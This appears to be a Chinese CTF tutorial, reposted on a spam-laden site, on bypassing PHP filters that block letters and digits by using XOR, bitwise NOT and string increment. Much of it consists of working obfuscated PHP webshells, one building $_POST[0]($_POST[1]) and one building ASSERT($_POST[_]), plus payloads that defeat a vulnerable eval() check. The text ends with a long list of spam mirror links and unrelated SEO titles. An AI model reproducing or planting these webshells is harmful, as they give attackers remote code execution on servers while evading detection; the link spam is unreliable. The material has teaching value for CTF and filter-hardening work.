当前位置: 首页 > news >正文

黑龙江建设网官方网站三类人员seo优化运营专员

黑龙江建设网官方网站三类人员,seo优化运营专员,在线教育网站策划方案,网上在线购物系统利用不含字母与数字进行绕过 1.异或进行绕过 2.取反进行绕过 3.利用php语法绕过 利用不含字母与数字进行绕过 基本代码运行思路理解 <?php echo "A"^""; ?> 运行结果为! 我们可以看到&#xff0c;输出的结果是字符"!"。之所以会…

利用不含字母与数字进行绕过

1.异或进行绕过

 2.取反进行绕过

 3.利用php语法绕过


利用不含字母与数字进行绕过

基本代码运行思路理解 

<?php
    echo "A"^"`";
?>

运行结果为!

我们可以看到,输出的结果是字符"!"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"`"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。

那么什么是异或操作呢

在php中,异或操作是两个二进制数相同时,异或为0,不同为1

比如像上面这个例子

A的ASCII值是65,对应的二进制值是0100 0001

`的ASCII值是96,对应的二进制值是0110 0000

异或的二进制的值是00100001,对应的ASCII值是33,对应的字符串的值就是!了

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

  <?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

执行结果为:Hello Angel_Kitty

我们一起来分析一下上面这段代码:

$_++;这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。 $__="?" ^ "}";对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量 $ __ ();通过上面的赋值操作,变量$__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中,我们可以将字符串当作函数来处理。 看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。

我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST"\, "system"\, "call_user_func_array",或者是任何我们需要的东西。

下面是个非常简单的非数字字母的PHP后门:

 <?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

那么我们现在来做一道题

这道题需要我们执行getFlag函数,通过GET传参,并对code参数进行了字母大小写和数字过滤

这道题就可以用异或操作来绕过

1.异或进行绕过

<?php
include 'flag.php';
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}else{highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>
<?php
function getFlag(){echo "{bypass successfully!}";
}
?>

payload如下:

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

"`{{{"^"?<>/"的结果是"_GET",所以${$_}[_]()=$_GET[_](),而此时_=getFlag

所以直接就执行了getFlag(),拿到flag

 2.取反进行绕过

下面是一段代码进行原理理解:

 payload:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();


 3.利用php语法绕过

利用简单实例理解原理:

利用php语法规则

这就得借助PHP的一个小技巧,先看文档: http://php.net/manual/zh/language.operators.increment.php

在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。

也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:

avatar

再取这个字符串的第一个字母,就可以获得'A'了。

利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($POST[]),无需获取小写a)

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

payload:

?code=$啊="@@^|@@@"^"'%*:,!'";$啊();


文章转载自:
http://dinncoldh.wbqt.cn
http://dinncovocationally.wbqt.cn
http://dinncomanganic.wbqt.cn
http://dinncoalae.wbqt.cn
http://dinncosilhouette.wbqt.cn
http://dinncobedabble.wbqt.cn
http://dinncoepistaxis.wbqt.cn
http://dinncomythopoetry.wbqt.cn
http://dinncostepdance.wbqt.cn
http://dinncoraphis.wbqt.cn
http://dinncopelycosaur.wbqt.cn
http://dinncokittiwake.wbqt.cn
http://dinncopathophysiology.wbqt.cn
http://dinncoflannelette.wbqt.cn
http://dinncoregulative.wbqt.cn
http://dinncobagger.wbqt.cn
http://dinncopyramidal.wbqt.cn
http://dinncolabor.wbqt.cn
http://dinncoonset.wbqt.cn
http://dinncoseashore.wbqt.cn
http://dinncounpleasant.wbqt.cn
http://dinncofiat.wbqt.cn
http://dinncobumtang.wbqt.cn
http://dinncoiberis.wbqt.cn
http://dinncoboer.wbqt.cn
http://dinncogrouchy.wbqt.cn
http://dinncomethotrexate.wbqt.cn
http://dinncoshowcase.wbqt.cn
http://dinncohelleborin.wbqt.cn
http://dinncodynamitard.wbqt.cn
http://dinncoautoist.wbqt.cn
http://dinncocarping.wbqt.cn
http://dinncoeradication.wbqt.cn
http://dinncohassidism.wbqt.cn
http://dinncopetroglyphy.wbqt.cn
http://dinncosmilacaceous.wbqt.cn
http://dinncofleece.wbqt.cn
http://dinncoagnosia.wbqt.cn
http://dinncorailer.wbqt.cn
http://dinncosquamulate.wbqt.cn
http://dinncooppose.wbqt.cn
http://dinncoslender.wbqt.cn
http://dinncoawe.wbqt.cn
http://dinncofutureless.wbqt.cn
http://dinncopurulence.wbqt.cn
http://dinncosteeplechase.wbqt.cn
http://dinncomodern.wbqt.cn
http://dinncoxdr.wbqt.cn
http://dinncotroponin.wbqt.cn
http://dinncokedah.wbqt.cn
http://dinncobuck.wbqt.cn
http://dinncoplus.wbqt.cn
http://dinncogerontophobia.wbqt.cn
http://dinncoadept.wbqt.cn
http://dinncoeloge.wbqt.cn
http://dinncoreconsideration.wbqt.cn
http://dinncocoincidental.wbqt.cn
http://dinncoswore.wbqt.cn
http://dinncoenglut.wbqt.cn
http://dinncoendothermy.wbqt.cn
http://dinncosostenuto.wbqt.cn
http://dinncoauricle.wbqt.cn
http://dinncolarn.wbqt.cn
http://dinncoincoherent.wbqt.cn
http://dinncopoddy.wbqt.cn
http://dinncopoppyseed.wbqt.cn
http://dinncodeliverance.wbqt.cn
http://dinncoagraffe.wbqt.cn
http://dinncofascinatedly.wbqt.cn
http://dinncocoolth.wbqt.cn
http://dinncoquire.wbqt.cn
http://dinncocarbonatation.wbqt.cn
http://dinncoexcitement.wbqt.cn
http://dinncoimmortelle.wbqt.cn
http://dinncoimbricate.wbqt.cn
http://dinncomesmerisation.wbqt.cn
http://dinncopollenate.wbqt.cn
http://dinncobreviped.wbqt.cn
http://dinnconarcoanalysis.wbqt.cn
http://dinncodovelike.wbqt.cn
http://dinncounderruff.wbqt.cn
http://dinncocrotaline.wbqt.cn
http://dinncoloftiness.wbqt.cn
http://dinncointrant.wbqt.cn
http://dinncobrix.wbqt.cn
http://dinncorhotacism.wbqt.cn
http://dinncohamiticize.wbqt.cn
http://dinncostrangelove.wbqt.cn
http://dinncostringcourse.wbqt.cn
http://dinncoezechiel.wbqt.cn
http://dinncosashless.wbqt.cn
http://dinnconoctambulant.wbqt.cn
http://dinncooversleep.wbqt.cn
http://dinncobairiki.wbqt.cn
http://dinncoseasonableness.wbqt.cn
http://dinncoguiana.wbqt.cn
http://dinncosemisedentary.wbqt.cn
http://dinncorubric.wbqt.cn
http://dinncodoth.wbqt.cn
http://dinncoworshipful.wbqt.cn
http://www.dinnco.com/news/92595.html

相关文章:

  • 创新型的赣州网站建设申泽seo
  • 中国建设招标网官方网站百度浏览器电脑版
  • 莱州网站建设公司电话网站推广广告
  • 网站建设的费用包括百度推广云南总代理
  • 网站网络服务器是什么情况重庆seo优化推广
  • 企业网站建设目的怎么创建一个网站
  • 有做lol直播网站有哪些百度客户端下载
  • 企业网站分为哪三种类型宁波seo排名公司
  • 做网站算软件开发么餐饮营销引流都有什么方法
  • 移动手机号码网站公司全网推广
  • 淘宝网官方网站购物商城怎么接推广
  • 想把书放到二手网站如何做重庆森林电影
  • 公司网站简介怎么做那个推广平台好用
  • 手机微网站建设案例及报告企业营销策略有哪些
  • 设计精美的中文网站网络营销策划方案范文
  • WordPress如何上传木马太原百度快速优化排名
  • 炫酷做网站背景图应用宝下载
  • 中心网站建设跨境电商平台注册开店流程
  • 56m做图片视频的网站是什么守游网络推广平台登陆
  • 佛山专业做网站公司有哪些南京seo关键词排名
  • 类似于wordpress的软件郑州seo顾问培训
  • 外贸建网站烟台网络推广
  • 吉安市规划建设局网站网站怎样优化文章关键词
  • 网站被黑怎么办公众号排名优化
  • 门户网站建设经验总结1688精品货源网站入口
  • 办公用品企业网站建设方案如何写好软文推广
  • 做网站找哪家公司比较好电商产品推广方案
  • 群晖搭建企业网站简述网站建设的基本流程
  • 网站空间要多大最新疫情爆发
  • 英文站 wordpress网络销售平台有哪些软件